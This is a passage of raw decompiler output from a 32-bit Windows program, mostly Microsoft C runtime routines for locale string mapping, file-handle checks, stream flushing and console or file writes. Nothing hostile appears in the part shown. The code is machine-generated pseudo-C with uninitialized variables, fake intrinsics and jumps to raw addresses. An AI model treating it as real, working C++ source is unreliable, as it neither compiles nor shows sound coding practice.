if (reinterpret_cast<signed char>(eax41) > reinterpret_cast<signed char>(a8))
goto addr_409b8d_11; else
goto addr_409acb_35;
}
}
}
fun_4083c7(ecx43, edi45, a9, 0, edi45, eax41, v52, v51, 0, 0, v39, 1, v38, esi14, v37, eax22,
v21, v20, a5, esi14, 0, 0);
ecx27 = edi45;
goto addr_409b8f_17;
addr_409acb_35:
ecx27 = reinterpret_cast<void**>(0);
 eax54 = fun_406425(0, a3, a4, ebx29, eax22, a7, a8, 0, 0, 0, v39, 1, v38, esi14, v37, eax22,
v21, v20, a5, esi14, 0, 0);
if (eax54) {
addr_409b8f_17:
fun_4083c7(ecx27, ebx29, v21, v20, a5, esi14, 0, 0, edi33, esi34, ebx35, eax22, v13,
ebp24, __return_address(), a2, a3, a4, a5, a6, a7, a8);
goto addr_409b98_6;
} else {
goto addr_409b8d_11;
}
}

void** fun_40a0d0(void** a1, void** a2) {

void** ecx3;
void** eax4;

ecx3 = a1;
eax4 = reinterpret_cast<void**>(0);
if (*reinterpret_cast<void***>(ecx3)) {
do {
if (eax4 == a2)
break;
++eax4;
} while (*reinterpret_cast<signed char*>(reinterpret_cast<unsigned char>(eax4) +
reinterpret_cast<unsigned char>(ecx3)));
}
return eax4;
}

void** fun_4064ad(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9);

int32_t LCMapStringW = 0x15488;

void** fun_406425(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22) {
void* ebp23;
uint32_t eax24;
void** v25;
void** esi26;
void** eax27;
void** v28;
void** v29;
 void** v30;
void** v31;
void** v32;
void** eax33;

ebp23 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

eax24 = g416004;
v25 = reinterpret_cast<void**>(eax24 ^ reinterpret_cast<uint32_t>(ebp23));
eax27 = fun_4060fb(22, "LCMapStringEx", 0x40f588, "LCMapStringEx", esi26);
if (!eax27) {
v28 = a7;
v29 = a6;
v30 = a5;
v31 = a4;
v32 = a3;
fun_4064ad(ecx, a2, 0, v32, v31, v30, v29, v28, esi26);
LCMapStringW();
} else {
v28 = a10;
v29 = a9;
v30 = a8;
v31 = a7;
v32 = a6;
image_base_(eax27, a2, a3, a4);
eax27(eax27, a2, a3, a4);
}
eax33 = fun_402f62(reinterpret_cast<unsigned char>(v25) ^
reinterpret_cast<uint32_t>(ebp23), v32, v31, v30, v29, v28, esi26, v25);
return eax33;
}

uint32_t fun_409cb3(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7) {
int1_t cf8;
void** ebp9;
void** eax10;
void** eax11;

if (!reinterpret_cast<int1_t>(a1 == 0xfffffffe)) {
if (reinterpret_cast<signed char>(a1) < reinterpret_cast<signed char>(0) || (cf8 =
reinterpret_cast<unsigned char>(a1) < reinterpret_cast<unsigned char>(g417240), !cf8)) {
eax10 = fun_4060e8(a1, ebp9, __return_address(), a1, a2, a3, a4, a5, a6, a7);
*reinterpret_cast<void***>(eax10) = reinterpret_cast<void**>(9);
fun_40602c(a1, ebp9, __return_address(), a1, a2);
} else {
 return static_cast<uint32_t>(*reinterpret_cast<unsigned
char*>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>((reinterpret_cast<signed char>(a1)
>> 6) * 4 + 0x417040)) + (reinterpret_cast<unsigned char>(a1) & 63) * 48 + 40)) & 64;
}
} else {
eax11 = fun_4060e8(a1, ebp9, __return_address(), a1, a2, a3, a4, a5, a6, a7);
*reinterpret_cast<void***>(eax11) = reinterpret_cast<void**>(9);
}
return 0;
}

void** fun_409288(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8) {
void** ebp9;
void** eax10;

if (a2) {
return *reinterpret_cast<void***>(a2 + 16);
} else {
eax10 = fun_4060e8(ecx, ebp9, __return_address(), a2, a3, a4, a5, a6, a7, a8);
*reinterpret_cast<void***>(eax10) = reinterpret_cast<void**>(22);
fun_40602c(ecx, ebp9, __return_address(), a2, a3);
return 0xffffffff;
}
}

struct s46 {
signed char[8] pad8;
void** f8;
};

void fun_407c38(void** a1);

struct s47 {
signed char[16] pad16;
void** f10;
};

struct s48 {
signed char[12] pad12;
void** fc;
};

void** fun_40a896(void** a1, void** a2, void** a3);

void fun_40a86d();

void** fun_40a7ab(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7) {
void** esi8;
struct s46* ebp9;
int1_t cf10;
int32_t ebx11;
int32_t ebp12;
void** eax13;
void** eax14;
int32_t ebp15;
int32_t ebp16;
int32_t ebp17;
void** v18;
struct s47* ebp19;
void** v20;
struct s48* ebp21;
void** eax22;
int32_t ebp23;
void** eax24;
void** eax25;
int32_t ebp26;
void** eax27;
void** eax28;

fun_4038a0(ecx, 0x414b70, 20, __return_address());

esi8 = ebp9->f8;
if (!reinterpret_cast<int1_t>(esi8 == 0xfffffffe)) {
if (reinterpret_cast<signed char>(esi8) < reinterpret_cast<signed char>(0) || ((cf10 =
reinterpret_cast<unsigned char>(esi8) < reinterpret_cast<unsigned char>(g417240), !cf10) ||
(ebx11 = reinterpret_cast<signed char>(esi8) >> 6, ecx =
reinterpret_cast<void**>((reinterpret_cast<unsigned char>(esi8) & 63) * 48),
*reinterpret_cast<void***>(ebp12 - 32) = ecx, (static_cast<uint32_t>(*reinterpret_cast<unsigned
char*>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>(ebx11 * 4 + 0x417040)) +
reinterpret_cast<unsigned char>(ecx) + 40)) & 1) == 0))) {
eax13 = fun_4060d5(ecx, 0x414b70, 20, __return_address(), a2, a3, a4, a5, a6, a7);
*reinterpret_cast<void***>(eax13) = reinterpret_cast<void**>(0);
eax14 = fun_4060e8(ecx, 0x414b70, 20, __return_address(), a2, a3, a4, a5, a6, a7);
*reinterpret_cast<void***>(eax14) = reinterpret_cast<void**>(9);
fun_40602c(ecx, 0x414b70, 20, __return_address(), a2);
} else {
fun_407c38(esi8);
*reinterpret_cast<void***>(ebp15 - 28) = reinterpret_cast<void**>(0xffffffff);
 *reinterpret_cast<uint32_t*>(ebp16 - 4) = 0;
ecx = *reinterpret_cast<void***>(ebp17 - 32);
if (*reinterpret_cast<unsigned
char*>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>(ebx11 * 4 + 0x417040)) +
reinterpret_cast<unsigned char>(ecx) + 40) & 1) {
v18 = ebp19->f10;
v20 = ebp21->fc;
eax22 = fun_40a896(esi8, v20, v18);
*reinterpret_cast<void***>(ebp23 - 28) = eax22;
} else {
eax24 = fun_4060e8(ecx, 0x414b70, 20, __return_address(), a2, a3, a4, a5, a6, a7);
*reinterpret_cast<void***>(eax24) = reinterpret_cast<void**>(9);
eax25 = fun_4060d5(ecx, 0x414b70, 20, __return_address(), a2, a3, a4, a5, a6, a7);
*reinterpret_cast<void***>(eax25) = reinterpret_cast<void**>(0);
}
*reinterpret_cast<int32_t*>(ebp26 - 4) = -2;
fun_40a86d();
goto addr_40a890_8;
}
} else {
eax27 = fun_4060d5(ecx, 0x414b70, 20, __return_address(), a2, a3, a4, a5, a6, a7);
*reinterpret_cast<void***>(eax27) = reinterpret_cast<void**>(0);
eax28 = fun_4060e8(ecx, 0x414b70, 20, __return_address(), a2, a3, a4, a5, a6, a7);
*reinterpret_cast<void***>(eax28) = reinterpret_cast<void**>(9);
}
addr_40a890_8:
fun_4038f0(ecx, 0x414b70, 20, __return_address(), a2);
goto 0x414b70;
}

void** g417270;

struct s49 {
signed char[8] pad8;
int32_t f8;
};

uint32_t fun_409d6f(void** ecx, void** a2, void** a3, void** a4, void** a5);

void fun_409e64(void** ecx);

void fun_409e8e(void** ecx);

uint32_t fun_409dbf(void** ecx, void** a2) {

void** v3;
int32_t ebp4;
int32_t ebp5;
void** ecx6;
int32_t ebp7;
void** esi8;
void** eax9;
void** eax10;
int32_t ebp11;
int32_t ebx12;
struct s49* ebp13;
int32_t ebp14;
void** edi15;
int32_t ebp16;
int32_t ebp17;
uint32_t eax18;
uint32_t eax19;
uint32_t eax20;
int32_t ebp21;
int32_t ebp22;
uint32_t eax23;
int32_t ebp24;
int32_t ebp25;
int32_t ebp26;
int32_t ebp27;
int32_t ebp28;

v3 = reinterpret_cast<void**>(__return_address());
fun_4038a0(ecx, 0x414ae8, 28, v3);
*reinterpret_cast<uint32_t*>(ebp4 - 28) = 0;
*reinterpret_cast<uint32_t*>(ebp5 - 36) = 0;
fun_407a92(ecx, 8);
ecx6 = reinterpret_cast<void**>(8);
*reinterpret_cast<uint32_t*>(ebp7 - 4) = 0;
esi8 = g417274;
eax9 = g417270;
eax10 = esi8 + reinterpret_cast<unsigned char>(eax9) * 4;
*reinterpret_cast<void***>(ebp11 - 44) = eax10;
ebx12 = ebp13->f8;
while (*reinterpret_cast<void***>(ebp14 - 32) = esi8, esi8 != eax10) {
edi15 = *reinterpret_cast<void***>(esi8);
*reinterpret_cast<void***>(ebp16 - 40) = edi15;
if (edi15) {
fun_4093c2(ecx6, edi15);
 ecx6 = edi15;
*reinterpret_cast<int32_t*>(ebp17 - 4) = 1;
eax18 = reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(edi15 + 12)) >> 13;
if (*reinterpret_cast<unsigned char*>(&eax18) & 1) {
if (ebx12 != 1) {
if (!ebx12 && ((eax19 = reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(edi15 + 12)) >> 1, !!(*reinterpret_cast<unsigned
char*>(&eax19) & 1)) && (eax20 = fun_409d6f(ecx6, edi15, 0x414ae8, 28, v3), ecx6 = edi15,
eax20 == 0xffffffff))) {
*reinterpret_cast<uint32_t*>(ebp21 - 36) = *reinterpret_cast<uint32_t*>(ebp22 -
36) | eax20;
}
} else {
eax23 = fun_409d6f(ecx6, edi15, 0x414ae8, 28, v3);
ecx6 = edi15;
if (eax23 != 0xffffffff) {
*reinterpret_cast<int32_t*>(ebp24 - 28) = *reinterpret_cast<int32_t*>(ebp25 - 28)
+ 1;
}
}
}
*reinterpret_cast<uint32_t*>(ebp26 - 4) = 0;
fun_409e64(ecx6);
eax10 = *reinterpret_cast<void***>(ebp27 - 44);
}
esi8 = esi8 + 4;
}
*reinterpret_cast<int32_t*>(ebp28 - 4) = -2;
fun_409e8e(ecx6);
if (ebx12 != 1) {
}
fun_4038f0(ecx6, 0x414ae8, 28, v3, a2);
goto 0x414ae8;
}

uint32_t fun_40a184(void** a1, void** a2);

uint32_t fun_40a1ac(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6) {
void** v7;
int1_t cf8;
void** esi9;
void** ebp10;
void** eax11;
uint32_t eax12;
 void** eax13;

v7 = ecx;
if (!reinterpret_cast<int1_t>(a2 == 0xfffffffe)) {
if (reinterpret_cast<signed char>(a2) < reinterpret_cast<signed char>(0) || ((cf8 =
reinterpret_cast<unsigned char>(a2) < reinterpret_cast<unsigned char>(g417240), !cf8) || (ecx
= reinterpret_cast<void**>((reinterpret_cast<unsigned char>(a2) & 63) * 48),
(*reinterpret_cast<unsigned
char*>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>((reinterpret_cast<signed char>(a2)
>> 6) * 4 + 0x417040)) + reinterpret_cast<unsigned char>(ecx) + 40) & 1) == 0))) {
eax11 = fun_4060e8(ecx, esi9, v7, ebp10, __return_address(), a2, a3, a4, a5, a6);
*reinterpret_cast<void***>(eax11) = reinterpret_cast<void**>(9);
fun_40602c(ecx, esi9, v7, ebp10, __return_address());
} else {
eax12 = fun_40a184(a2, reinterpret_cast<int32_t>(__zero_stack_offset()) - 4 + 0xfffffffc);
goto addr_40a216_5;
}
} else {
eax13 = fun_4060e8(ecx, esi9, v7, ebp10, __return_address(), a2, a3, a4, a5, a6);
*reinterpret_cast<void***>(eax13) = reinterpret_cast<void**>(9);
}
eax12 = 0xffffffff;
addr_40a216_5:
return eax12;
}

uint32_t fun_409d09(void** a1);

uint32_t fun_409d6f(void** ecx, void** a2, void** a3, void** a4, void** a5) {
void** v6;
uint32_t eax7;
uint32_t eax8;
void** esi9;
void** ebp10;
void** eax11;
uint32_t eax12;

v6 = reinterpret_cast<void**>(__return_address());
if (a2) {
eax7 = fun_409d09(a2);
if (eax7 || (eax8 = reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(a2 + 12)) >>
11, !!(*reinterpret_cast<unsigned char*>(&eax8) & 1)) && (eax11 = fun_409288(a2, a2, esi9,
ebp10, v6, a2, a3, a4), eax7 = fun_40a1ac(a2, eax11, a2, esi9, ebp10, v6), !!eax7)) {
eax12 = 0xffffffff;
 } else {
eax12 = 0;
}
} else {
eax12 = fun_409dbf(ecx, a2);
}
return eax12;
}

int32_t fun_409f20(void** ecx, void** a2, void** a3) {

void** v4;

v4 = ecx;
__asm__("wait ");
__asm__("fnstcw word [ebp-0x4]");
__asm__("fldcw word [ebp-0x8]");
return static_cast<int32_t>(*reinterpret_cast<int16_t*>(&v4));
}

int32_t fun_409fa7(void** ecx) {

int16_t fpu_status_word2;

__asm__("wait ");
return static_cast<int32_t>(fpu_status_word2);
}

int32_t fun_40ae2c(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7);

void fun_40a089(void** ecx);

void fun_409ff2(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7, void**
a8, void** a9, void** a10, void** a11) {
void** v12;
int32_t ebp13;
void** ecx14;
int32_t ebp15;
void** esi16;
int32_t ebp17;
int1_t zf18;
void** eax19;
uint32_t eax20;
void** eax21;
void** v22;
int32_t eax23;
 int32_t ebp24;
int32_t ebp25;
void** eax26;
void** v27;
void** eax28;
void** v29;
void** eax30;
int32_t ebp31;

v12 = reinterpret_cast<void**>(__return_address());
fun_4038a0(ecx, 0x414b30, 16, v12);
*reinterpret_cast<uint32_t*>(ebp13 - 28) = 0;
fun_407a92(ecx, 8);
ecx14 = reinterpret_cast<void**>(8);
*reinterpret_cast<uint32_t*>(ebp15 - 4) = 0;
esi16 = reinterpret_cast<void**>(3);
while (*reinterpret_cast<void***>(ebp17 - 32) = esi16, zf18 = esi16 == g417270, !zf18) {
eax19 = g417274;
if (*reinterpret_cast<void***>(eax19 + reinterpret_cast<unsigned char>(esi16) * 4)) {
eax20 = reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(*reinterpret_cast<void***>(eax19 + reinterpret_cast<unsigned
char>(esi16) * 4) + 12)) >> 13;
if (*reinterpret_cast<unsigned char*>(&eax20) & 1 && (eax21 = g417274, v22 =
*reinterpret_cast<void***>(eax21 + reinterpret_cast<unsigned char>(esi16) * 4), eax23 =
fun_40ae2c(ecx14, v22, 0x414b30, 16, v12, a2, a3), ecx14 = v22, eax23 != -1)) {
*reinterpret_cast<int32_t*>(ebp24 - 28) = *reinterpret_cast<int32_t*>(ebp25 - 28) + 1;
}
eax26 = g417274;
v27 = *reinterpret_cast<void***>(eax26 + reinterpret_cast<unsigned char>(esi16) * 4) +
32;
DeleteCriticalSection(ecx14, v27);
eax28 = g417274;
v29 = *reinterpret_cast<void***>(eax28 + reinterpret_cast<unsigned char>(esi16) * 4);
fun_406c46(ecx14, v29, v27, 0x4b30, 16, v12, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11);
ecx14 = v29;
eax30 = g417274;
*reinterpret_cast<void***>(eax30 + reinterpret_cast<unsigned char>(esi16) * 4) =
reinterpret_cast<void**>(0);
}
++esi16;
}
*reinterpret_cast<int32_t*>(ebp31 - 4) = -2;
fun_40a089(ecx14);
fun_4038f0(ecx14, 0x414b30, 16, v12, a2);
 goto 0x414b30;
}

struct s50 {
signed char[8] pad8;
void** f8;
};

uint32_t fun_40adb6(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11);

void fun_40aea2(void** ecx);

void** fun_40bc79(void** ecx, void** a2);

int32_t fun_40ae2c(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7) {
void** esi8;
struct s50* ebp9;
int32_t ebp10;
int32_t eax11;
uint32_t eax12;
int32_t ebp13;
int32_t ebp14;
uint32_t eax15;
int32_t ebp16;
int32_t ebp17;
void** eax18;

fun_4038a0(ecx, 0x414b90, 16, __return_address());

esi8 = ebp9->f8;
*reinterpret_cast<void***>(ebp10 - 32) = esi8;
eax11 = 0;
*reinterpret_cast<unsigned char*>(&eax11) = reinterpret_cast<uint1_t>(!!esi8);
if (eax11) {
eax12 = reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(esi8 + 12)) >> 12;
if (!(*reinterpret_cast<unsigned char*>(&eax12) & 1)) {
*reinterpret_cast<uint32_t*>(ebp13 - 28) = 0;
fun_4093c2(ecx, esi8);
*reinterpret_cast<uint32_t*>(ebp14 - 4) = 0;
eax15 = fun_40adb6(esi8, esi8, 0x414b90, 16, __return_address(), a2, a3, a4, a5, a6,
a7);
ecx = esi8;
*reinterpret_cast<uint32_t*>(ebp16 - 28) = eax15;
*reinterpret_cast<int32_t*>(ebp17 - 4) = -2;
 fun_40aea2(ecx);
} else {
fun_40bc79(ecx, esi8);
ecx = esi8;
goto addr_40ae59_5;
}
} else {
eax18 = fun_4060e8(ecx, 0x414b90, 16, __return_address(), a2, a3, a4, a5, a6, a7);
*reinterpret_cast<void***>(eax18) = reinterpret_cast<void**>(22);
fun_40602c(ecx, 0x414b90, 16, __return_address(), a2);
goto addr_40ae59_5;
}
addr_40ae99_7:
fun_4038f0(ecx, 0x414b90, 16, __return_address(), a2);
goto 0x414b90;
addr_40ae59_5:
goto addr_40ae99_7;
}

struct s51 {
signed char[8] pad8;
void*** f8;
};

struct s52 {
signed char[12] pad12;
void**** fc;
};

void** fun_407d0f(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8);

int32_t FlushFileBuffers = 0x15578;

void fun_40a178(void** ecx);

uint32_t fun_40a0ec(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7) {
void** esi8;
int32_t ebp9;
void** v10;
struct s51* ebp11;
int32_t ebp12;
void** ecx13;
struct s52* ebp14;
 void** v15;
void** eax16;
int32_t eax17;
int32_t ebp18;
int32_t ebp19;
void** eax20;
void** eax21;
void** eax22;

fun_4038a0(ecx, 0x414b50, 12, __return_address());

esi8 = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(ebp9 - 28) = reinterpret_cast<void**>(0);
v10 = *ebp11->f8;
fun_407c38(v10);
*reinterpret_cast<void***>(ebp12 - 4) = reinterpret_cast<void**>(0);
ecx13 = reinterpret_cast<void**>((reinterpret_cast<unsigned char>(**ebp14->fc) & 63) * 48);
if (*reinterpret_cast<unsigned
char*>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>((reinterpret_cast<signed
char>(**ebp14->fc) >> 6) * 4 + 0x417040)) + reinterpret_cast<unsigned char>(ecx13) + 40) & 1)
{
v15 = **ebp14->fc;
eax16 = fun_407d0f(ecx13, v15, 0x414b50, 12, __return_address(), a2, a3, a4);
ecx13 = v15;
eax17 = reinterpret_cast<int32_t>(FlushFileBuffers(ecx13, eax16));
if (eax17) {
addr_40a15c_3:
*reinterpret_cast<void***>(ebp18 - 28) = esi8;
*reinterpret_cast<int32_t*>(ebp19 - 4) = -2;
fun_40a178(ecx13);
fun_4038f0(ecx13, 0x414b50, 12, __return_address(), a2);
goto 0x414b50;
} else {
eax20 = fun_4060d5(ecx13, eax16, 0x414b50, 12, __return_address(), a2, a3, a4, a5,
a6);
eax21 = reinterpret_cast<void**>(GetLastError(ecx13, eax16));
*reinterpret_cast<void***>(eax20) = eax21;
}
}
eax22 = fun_4060e8(ecx13, 0x414b50, 12, __return_address(), a2, a3, a4, a5, a6, a7);
*reinterpret_cast<void***>(eax22) = reinterpret_cast<void**>(9);
esi8 = reinterpret_cast<void**>(0xffffffff);
goto addr_40a15c_3;
}
void** fun_407d0f(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8) {
void** ecx9;
int1_t cf10;
int32_t eax11;
void** ebp12;
void** eax13;
void** eax14;
void** eax15;
void** eax16;

ecx9 = a2;
if (!reinterpret_cast<int1_t>(ecx9 == 0xfffffffe)) {
if (reinterpret_cast<signed char>(ecx9) < reinterpret_cast<signed char>(0) || ((cf10 =
reinterpret_cast<unsigned char>(ecx9) < reinterpret_cast<unsigned char>(g417240), !cf10) ||
(eax11 = reinterpret_cast<signed char>(ecx9) >> 6, ecx9 =
reinterpret_cast<void**>((reinterpret_cast<unsigned char>(ecx9) & 63) * 48),
(*reinterpret_cast<unsigned char*>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>(eax11 *
4 + 0x417040)) + reinterpret_cast<unsigned char>(ecx9) + 40) & 1) == 0))) {
eax13 = fun_4060d5(ecx9, ebp12, __return_address(), a2, a3, a4, a5, a6, a7, a8);
*reinterpret_cast<void***>(eax13) = reinterpret_cast<void**>(0);
eax14 = fun_4060e8(ecx9, ebp12, __return_address(), a2, a3, a4, a5, a6, a7, a8);
*reinterpret_cast<void***>(eax14) = reinterpret_cast<void**>(9);
fun_40602c(ecx9, ebp12, __return_address(), a2, a3);
} else {
return
*reinterpret_cast<void***>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>(eax11 * 4 +
0x417040)) + reinterpret_cast<unsigned char>(ecx9) + 24);
}
} else {
eax15 = fun_4060d5(ecx9, ebp12, __return_address(), a2, a3, a4, a5, a6, a7, a8);
*reinterpret_cast<void***>(eax15) = reinterpret_cast<void**>(0);
eax16 = fun_4060e8(ecx9, ebp12, __return_address(), a2, a3, a4, a5, a6, a7, a8);
*reinterpret_cast<void***>(eax16) = reinterpret_cast<void**>(9);
}
return 0xffffffff;
}

uint32_t fun_40a184(void** a1, void** a2) {

void* ebp3;
void** v4;
uint32_t eax5;

ebp3 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

 eax5 = fun_40a0ec(reinterpret_cast<int32_t>(ebp3) + 0xffffffff,
reinterpret_cast<int32_t>(ebp3) + 0xfffffff4, a2, reinterpret_cast<int32_t>(ebp3) + 0xfffffff8, a1,
a1, v4);
return eax5;
}

int32_t g416760 = -2;

void fun_40bcb4(void** a1);

int32_t WriteConsoleW = 0x155c2;

int16_t fun_40af11(void** ecx, int16_t a2) {

void* ebp3;
int32_t eax4;
int32_t eax5;
int32_t eax6;

ebp3 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

eax4 = g416760;
if (eax4 == -2) {
fun_40bcb4(ecx);
eax4 = g416760;
}
if (eax4 == -1 || (eax5 = reinterpret_cast<int32_t>(WriteConsoleW(eax4,
reinterpret_cast<int32_t>(ebp3) + 8, 1, reinterpret_cast<int32_t>(ebp3) - 4, 0, ecx)), eax5 == 0))
{
eax6 = 0xffff;
} else {
*reinterpret_cast<int16_t*>(&eax6) = a2;
}
return *reinterpret_cast<int16_t*>(&eax6);
}

void fun_407c38(void** a1) {

int32_t ebp2;

EnterCriticalSection();
goto ebp2;
}

void** fun_40ad1d(void** ecx, void** a2, void** a3, void** a4, int32_t a5);

void** fun_40ad9b(void** ecx, void** a2, void** a3, void** a4, int32_t a5) {
 void** eax6;

eax6 = fun_40ad1d(ecx, a2, a3, a4, a5);

return eax6;
}

int32_t GetConsoleMode = 0x1559c;

unsigned char fun_40a43b(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6,
void** a7) {
void** esi8;
void** ebp9;
uint32_t eax10;
int32_t edi11;
uint32_t esi12;
void** edi13;
void** eax14;
unsigned char al15;
int32_t v16;
int32_t eax17;

eax10 = fun_409cb3(a2, esi8, ecx, ebp9, __return_address(), a2, a3);

if (eax10) {
edi11 = reinterpret_cast<signed char>(a2) >> 6;
esi12 = (reinterpret_cast<unsigned char>(a2) & 63) * 48;
if (!(*reinterpret_cast<unsigned
char*>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>(edi11 * 4 + 0x417040)) + esi12 + 40)
& 0x80) || (eax14 = fun_40695e(a2, edi13, esi8, ecx, ebp9, __return_address(), a2, a3, a4, a5,
a6, a7), !*reinterpret_cast<void***>(*reinterpret_cast<void***>(eax14 + 76) + 0xa8)) &&
!*reinterpret_cast<signed char*>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>(edi11 * 4 +
0x417040)) + esi12 + 41)) {
al15 = 0;
} else {
v16 =
*reinterpret_cast<int32_t*>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>(edi11 * 4 +
0x417040)) + esi12 + 24);
eax17 = reinterpret_cast<int32_t>(GetConsoleMode(a2, v16,
reinterpret_cast<int32_t>(__zero_stack_offset()) - 4 - 4));
al15 = reinterpret_cast<uint1_t>(!!eax17);
}
} else {
al15 = 0;
}
return al15;
}

void** fun_40a3ce(void** ecx, void** a2, void** a3, void** a4) {

void** esi5;
void** edi6;
void** eax7;
void** v8;
void** ebx9;
void** v10;
int16_t ax11;
int16_t ax12;
void** eax13;

esi5 = a2;
edi6 = a3;
*reinterpret_cast<void***>(esi5) = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(esi5 + 4) = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(esi5 + 8) = reinterpret_cast<void**>(0);
eax7 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(a4) +
reinterpret_cast<unsigned char>(edi6));
v8 = eax7;
if (reinterpret_cast<unsigned char>(edi6) >= reinterpret_cast<unsigned char>(eax7)) {
addr_40a432_2:
return esi5;
} else {
do {
ebx9 =
reinterpret_cast<void**>(static_cast<uint32_t>(reinterpret_cast<uint16_t>(*reinterpret_cast<voi
d***>(edi6))));
v10 = ebx9;
ax11 = fun_40af11(ecx, *reinterpret_cast<int16_t*>(&v10));
ecx = v10;
if (ax11 != *reinterpret_cast<int16_t*>(&ebx9))
break;
*reinterpret_cast<void***>(esi5 + 4) = *reinterpret_cast<void***>(esi5 + 4) + 2;
if (reinterpret_cast<int1_t>(ebx9 == 10)) {
ax12 = fun_40af11(ecx, 13);
ecx = reinterpret_cast<void**>(13);
if (ax12 != 13)
break;
*reinterpret_cast<void***>(esi5 + 4) = *reinterpret_cast<void***>(esi5 + 4) + 1;
*reinterpret_cast<void***>(esi5 + 8) = *reinterpret_cast<void***>(esi5 + 8) + 1;
}
edi6 = edi6 + 2;
 } while (reinterpret_cast<unsigned char>(edi6) < reinterpret_cast<unsigned char>(v8));
goto addr_40a428_8;
}
eax13 = reinterpret_cast<void**>(GetLastError(ecx));
*reinterpret_cast<void***>(esi5) = eax13;
goto addr_40a432_2;
addr_40a428_8:
goto addr_40a432_2;
}

void fun_40cb40(void** ecx);

int32_t WriteFile = 0x14e60;

void** fun_40a590(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6) {
void** v7;
void** v8;
void** ebp9;
void*** ebp10;
uint32_t v11;
uint32_t ebx12;
void** ebx13;
void* eax14;
void** esi15;
int32_t ecx16;
void** eax17;
int32_t v18;
void** v19;
void* edi20;
void* v21;
void* edi22;
void* v23;
int32_t eax24;
void* v25;
void** eax26;
void** eax27;

v7 = reinterpret_cast<void**>(__return_address());
v8 = ebp9;
ebp10 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);
fun_40cb40(ecx);
v11 = ebx12;
ebx13 = a4;
eax14 = *reinterpret_cast<void**>((reinterpret_cast<signed char>(a3) >> 6) * 4 + 0x417040);
 esi15 = a2;
ecx16 = *reinterpret_cast<int32_t*>(reinterpret_cast<int32_t>(eax14) +
(reinterpret_cast<unsigned char>(a3) & 63) * 48 + 24);
eax17 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(a5) +
reinterpret_cast<unsigned char>(ebx13));
v18 = ecx16;
v19 = eax17;
*reinterpret_cast<void***>(esi15) = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(esi15 + 4) = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(esi15 + 8) = reinterpret_cast<void**>(0);
while (reinterpret_cast<unsigned char>(ebx13) < reinterpret_cast<unsigned char>(eax17)) {
edi20 = reinterpret_cast<void*>(ebp10 - 0x1404);
do {
if (reinterpret_cast<unsigned char>(ebx13) >= reinterpret_cast<unsigned char>(eax17))
break;
ebx13 = ebx13 + 2;
if (static_cast<uint32_t>(reinterpret_cast<uint16_t>(*reinterpret_cast<void***>(ebx13)))
== 10) {
*reinterpret_cast<void***>(esi15 + 8) = *reinterpret_cast<void***>(esi15 + 8) + 2;
edi20 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(edi20) + 2);
}
edi20 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(edi20) + 2);
eax17 = v19;
} while (reinterpret_cast<uint32_t>(edi20) < reinterpret_cast<uint32_t>(ebp10 - 6));
v21 = reinterpret_cast<void*>(ebp10 - 0x140c);
edi22 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(edi20) -
reinterpret_cast<uint32_t>(ebp10 - 0x1404) & 0xfffffffe);
v23 = reinterpret_cast<void*>(ebp10 - 0x1404);
eax24 = reinterpret_cast<int32_t>(WriteFile(ecx16, v23, edi22, v21, 0));
if (!eax24)
goto addr_40a663_9;
*reinterpret_cast<void***>(esi15 + 4) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(esi15 + 4)) + reinterpret_cast<uint32_t>(v25));
if (reinterpret_cast<uint32_t>(v25) < reinterpret_cast<uint32_t>(edi22))
goto addr_40a66b_11;
eax17 = v19;
ecx16 = v18;
}
addr_40a66b_11:
eax26 = fun_402f62(v11 ^ reinterpret_cast<uint32_t>(ebp10), v8, v7, a2, a3, a4, a5, a6);
return eax26;
addr_40a663_9:
